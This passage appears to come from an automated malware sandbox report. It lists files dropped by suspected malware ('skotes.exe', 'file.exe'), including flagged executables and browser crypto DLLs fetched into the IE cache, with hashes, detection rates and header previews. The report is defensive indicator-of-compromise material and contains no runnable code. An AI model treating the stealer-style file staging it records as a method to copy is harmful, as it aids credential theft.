SHA1:	3C63AE21E18B1BE56986485E4C6C87F0EB745B78
SHA-256:	C9FEB1DBE7EDDF1CB1B4E2C5CEF0C2898F32A3FCF7228A8504A8560A443B34C0
SHA-512:	159F0F04DFC777A0841E8FB998B702D6ADA950C3FCD1611D9B7EFF47DB31565078CC25C7C4D927DC9B115D68FBE4A60E80F831882DC6FF66F6938C3A6B566DBA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.b.Q.Z.G.4.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.7.I.h.t.B.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997359716145513
Encrypted:	false
SSDEEP:	96:mYChvcIlglqdNu0E/gcZcerWfXTEBl+bPiK6Q:mRhlwcN8YcZcer8XTql+b6Q
MD5:	0FA7C16738D942C0AEF4DA0E0CBA23CF
SHA1:	1CAE2350FCACB6C4ADE0ED9A3E4BD687FD1C2EF6
SHA-256:	F879793DD8DF6AD326CC134014DFFA855DFF04B5E79DD97FCE7A806AEB9BEF94
SHA-512:	243A27BC2E7D843B0B6AE867E1BC7937EB29B4A67B9D5294A547C27D520857F324791D9F219C67ACCB139346AE70B43E1FDF0DBC22FAC1D412244EC4CEF976EA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.d.+.n.S.m.Y.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.7.I.h.t.B.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8994560542031564
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xHxl9Il8uEhvcr4zRjKprMfLvJ3CsDy7QMYljVgnpd/vc:aJYChvcr4zRjKlMFjMaP
MD5:	48B77BA1FD1565436E0B1BF4DB972EC2
SHA1:	AF0F41AACA09662FD079DAF8BDE1730E3CC451AB
SHA-256:	05F2232445D61088D68C6F389B7CDBBBE4E396C8E1D2006936DB5DD9AD5D20C1
SHA-512:	E37221D2D2704142453148492B21D447BACFAF399634D71223446F0EB508226393E59B97D9A908DB1DC48AB7CF2CFCE77B26F3AFD9863695100F111E5DD9B46C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".U.3.a.D.e.j.d.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.7.I.h.t.B.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1744384
Entropy (8bit):	7.9448282129236745
Encrypted:	false
SSDEEP:	49152:mUaK5qkA7qOkGcBZ6XtaxUcko5NJCCGMexv:mUDdA7qOkGg6XkxAonsCGR
MD5:	DE2C57DABA8A1E3B80177B5C161D68C1
SHA1:	7F5ADD1CA0E771B5254FDCC8F2646AD39AA76094
SHA-256:	C898A4926D282B9C3256633CF8CFC97E055129EDB7C2D72147E78569421D4463
SHA-512:	FF11CAC9FC31BFD95E6C922F3D6DFF2059F559120A399116E1DB07D0C16DE153DDBA695E54B1057CC6E14EFB003FE4918EB3AE23E3483246E959F9161DB75E63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......f...........@.......................... g..........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... . )...$......t..............@...wdsvuckv......M......v..............@...fmumcniz......f......v..............@....taggant.0....f.."...\|..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2825728
Entropy (8bit):	6.414849691799142
Encrypted:	false
SSDEEP:	49152:dqPA0F/Xl3g1ae48HdGQNsFWPDthrd2q9T7OCc/soDv+v+ivs77NfcolLbi4gdBU:APVF/Xl3g1aqHdGQNsFBfcoo4gdB7
MD5:	D7E735E3F0A7FE8EBA17313DE3B48AA5
SHA1:	8A5B57AFD9D3B3F8663ACB5EE3ECBFA0E86BA274
SHA-256:	6C2D872764B75CABFAB37DB410BDE1E246848739C0C41DC6D3C20E316BDB278D
SHA-512:	D24530450D6B54F07D0BC7C5C1E295C02E66603D7B50BAB0E164583682AB9E74AA1ECFE897690FDC35AEA07DBDDDB50B7235197FECB921241C6283AE92169F8C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....Z5+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...nbohhauh...........:..............@...qsvzttvm. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393188898632601
Encrypted:	false
SSDEEP:	96:6NnQqHQbNnQUbQ1NnQc9QNNnQP97dgEQdNnQwQINnQ0DQeNnQ0wQ7NnQD3Ql:6NcNIN4NI0NzNhJNLvN5
MD5:	5E59031B5C3DFE69DE00B5FF3F5A59FE
SHA1:	2EC6CDCD625735C2D4C303C19A60C4375D15FD34
SHA-256:	4F172CA0DAB50C2E2A83077675702BBB300DFF6D58B70DBB52FD36FFEC49086A
SHA-512:	990416DA0BC4D8B5B34556C3DD19E91BCB2CA9DEC450B9F234EC0D9DB24676F3E8B05A5E2D9BB12BA8C5F0BF40530DBFB1FF514A5222757BF8C6E8BA11A93A9F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6EC970D73656FC7E158B7EB9D351EC00",.. "id": "6EC970D73656FC7E158B7EB9D351EC00",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6EC970D73656FC7E158B7EB9D351EC00"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4EF477FD751EAC9AEB20058D5B8285A2",.. "id": "4EF477FD751EAC9AEB20058D5B8285A2",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4EF477FD751EAC9AEB20058D5B8285A2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383740406412046
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQsfNaoQBuNQufNaoQxg0g6QxgifNaoQZgU0UrU0U8Qy:6NnQZTEQYNnQBuNQWNnQJQHNnQ10UrUi
MD5:	4518255ECF37F9C7671BC4B61AE8C3A8
SHA1:	98EE3BF2CA2F68B295DF4FBBBDEC03AABDE307EF
SHA-256:	AC737EB73FE40F25DF1D4DDB142DEF1E7C30B4CF77F75A7CAC4E2FD66C971956
SHA-512:	240C93AE9E736C2F5EB7386AC9BC2E26682D4AA0E08C5F2311CAB94F065788CE8860AFF012845CD5B2B5CEDAF6F79E34338A9818EED26365B06F07F940820F29
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0174AB38519008A60B93EE30D445CD0B",.. "id": "0174AB38519008A60B93EE30D445CD0B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0174AB38519008A60B93EE30D445CD0B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/950B0D9A615B772851E3E023E1DE81F1",.. "id": "950B0D9A615B772851E3E023E1DE81F1",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/950B0D9A615B772851E3E023E1DE81F1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3191296
Entropy (8bit):	6.588960507406295
Encrypted:	false
SSDEEP:	49152:03IGmv0Zjnop/0mhZgz96pmdZfb6qwSMVqCJf4z/+:eIGmclnop/0mhZgzEiZfbfwSMVqoAz
MD5:	7D9C4F172E304E1666D3A6D10034F260
SHA1:	F71CFFAC97B79F580C4D9562C40A7A68C84A562E
SHA-256:	F7E59A21A181B5403DC590F1E339300A8D631CD8329F494BBC62134388BC602B
SHA-512:	696A1DCB9425D4AD528F070572698696A4C8BAD67FFF9E66FA4D878E47213C864BFB3BA83FA8CAFA35E0280D8C27F68DA0A2F872C76CDEB26810F0D78F8B7A44
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...uzuifqev..+.......*.................@...yhwixkgc......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0f497047-b170-4072-8a32-317d9738fc3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3191296
Entropy (8bit):	6.588960507406295
Encrypted:	false
SSDEEP:	49152:03IGmv0Zjnop/0mhZgz96pmdZfb6qwSMVqCJf4z/+:eIGmclnop/0mhZgzEiZfbfwSMVqoAz
MD5:	7D9C4F172E304E1666D3A6D10034F260
SHA1:	F71CFFAC97B79F580C4D9562C40A7A68C84A562E
SHA-256:	F7E59A21A181B5403DC590F1E339300A8D631CD8329F494BBC62134388BC602B
SHA-512:	696A1DCB9425D4AD528F070572698696A4C8BAD67FFF9E66FA4D878E47213C864BFB3BA83FA8CAFA35E0280D8C27F68DA0A2F872C76CDEB26810F0D78F8B7A44
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...uzuifqev..+.......*.................@...yhwixkgc......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1744384
Entropy (8bit):	7.9448282129236745
Encrypted:	false
SSDEEP:	49152:mUaK5qkA7qOkGcBZ6XtaxUcko5NJCCGMexv:mUDdA7qOkGg6XkxAonsCGR
MD5:	DE2C57DABA8A1E3B80177B5C161D68C1
SHA1:	7F5ADD1CA0E771B5254FDCC8F2646AD39AA76094
SHA-256:	C898A4926D282B9C3256633CF8CFC97E055129EDB7C2D72147E78569421D4463
SHA-512:	FF11CAC9FC31BFD95E6C922F3D6DFF2059F559120A399116E1DB07D0C16DE153DDBA695E54B1057CC6E14EFB003FE4918EB3AE23E3483246E959F9161DB75E63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......f...........@.......................... g..........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... . )...$......t..............@...wdsvuckv......M......v..............@...fmumcniz......f......v..............@....taggant.0....f.."...\|..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2825728
Entropy (8bit):	6.414849691799142
Encrypted:	false
SSDEEP:	49152:dqPA0F/Xl3g1ae48HdGQNsFWPDthrd2q9T7OCc/soDv+v+ivs77NfcolLbi4gdBU:APVF/Xl3g1aqHdGQNsFBfcoo4gdB7
MD5:	D7E735E3F0A7FE8EBA17313DE3B48AA5
SHA1:	8A5B57AFD9D3B3F8663ACB5EE3ECBFA0E86BA274
SHA-256:	6C2D872764B75CABFAB37DB410BDE1E246848739C0C41DC6D3C20E316BDB278D
SHA-512:	D24530450D6B54F07D0BC7C5C1E295C02E66603D7B50BAB0E164583682AB9E74AA1ECFE897690FDC35AEA07DBDDDB50B7235197FECB921241C6283AE92169F8C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....Z5+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...nbohhauh...........:..............@...qsvzttvm. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\893da8f4-d990-4f6d-a4df-a429fce515fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
